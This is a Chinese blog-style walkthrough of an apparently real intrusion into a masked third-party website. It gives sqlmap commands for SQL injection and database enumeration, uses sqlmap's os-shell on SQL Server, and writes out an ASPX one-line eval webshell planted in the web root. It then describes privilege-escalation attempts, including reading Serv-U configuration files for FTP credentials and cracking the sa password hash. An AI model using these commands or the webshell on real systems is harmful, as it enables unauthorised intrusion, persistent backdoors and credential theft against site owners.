第一步
拿到注入点:
http://xxxxx.com/zxxxxx.aspx?zid=16
为了防止被爆菊被和谐,这里的网址采取硬核马赛克措施 – –
sqlmap.py–u“http://xxxxx.com/zpDetails.aspx?zid=16” –dbs
--dbs查了一下数据库
估计是一个小站群,数据库不少,然后列一下数据库的管理员账号
Sqlmap.py–u“http://xxxxx.com/zpxxxxils.aspx?zid=16” –users
这里看到了一个sa用户,嗯,有亮点!不过暂时也用不到,后面讲到提权的时候会提到sa
然后正常流程 爆表,爆库,爆字段
但是管理员密码为空,所以暂时无果,
最重要的是!! 后台怎么着都找不到
所以我想到了直接向网站里写shell
Os-shell 交互式shell命令
网上一搜os-shell教程一大堆,可我看了很多博文,大部分都是针对MySQL进行的os-shell写shell
什么选择语言啊,什么找物理路径啊,什么生成临时马的
但是通过上面的截图相信你们也看到了,数据库是SQL server的数据库
sqlmap.py–u“http://xxxxx.com/zpxxxxils.aspx?zid=16” –os-shell
如图,sql server下,我们进入了os-shell的命令行模式
本来第一个思路是,用dir命令查找一下网站后台,以及用type命令查看一下config文件看看能不能找到可用的有效信息。
但是 !比较坑的是,常规方法找不到物理路径
所以接下来的思路,我们先用dir命令列一下目录,试图寻找可分析的网站目录
注意红框所示,上文提到过,服务器可能是一个小站群,所以我们可以先找到其他网站的目录,并测试语句是否可写以及网站路径的真实有效性
1.测试网站真实目录
生成文件测试 使用echo命令:
echo“thisistest”>d:\matata\t1.txt
在网站根目录下生成t.txt文件。内容为thisis test。
不难看到,写入文件测试成功
2.生成shell文件
在os-shell中执行命令:echo命令
echo ^<%@PageLanguage=”Jscript”%^>^<%eval(Request.Item[“pass”],”unsafe”);%^> > d:\matata\test.aspx
一句话写入成功,菜刀进行连接
二、提权
1.Systeminfo进行查询系统信息
2.对比漏洞库查找可用exp
但,以上提权均不成功
3.Serv-u服务
默认43598端口没有开,但是很明显是用了serv-u的服务
故通过tasklist和netstat –ano 对比监听端口情况,
最后分析出了serv-u的服务端口为5460
再通过查找serv-u文件夹里的\Serv-U\ServUDaemon.ini 配置文件查找ftp账号和密码
通过大马提权,未果!
猜测可能是可写目录的问题
最后这边又有一个思路(社工思想),通过net user
猜测上文提到的数据库sa的密码可能与某管理员账号对应
回头去跑了一下sa的hash值,最后各种解密网站解密不成功,
提权的过程就先告一段落。
纯菜鸟操作,大佬勿喷
推荐阅读:
soap注入某sql2008服务器结合msf进行提权
https://www.cnblogs.com/ichunqiu/archive/2018/06/05/9140524.html
参考来源:jazz'blog
作者:jazz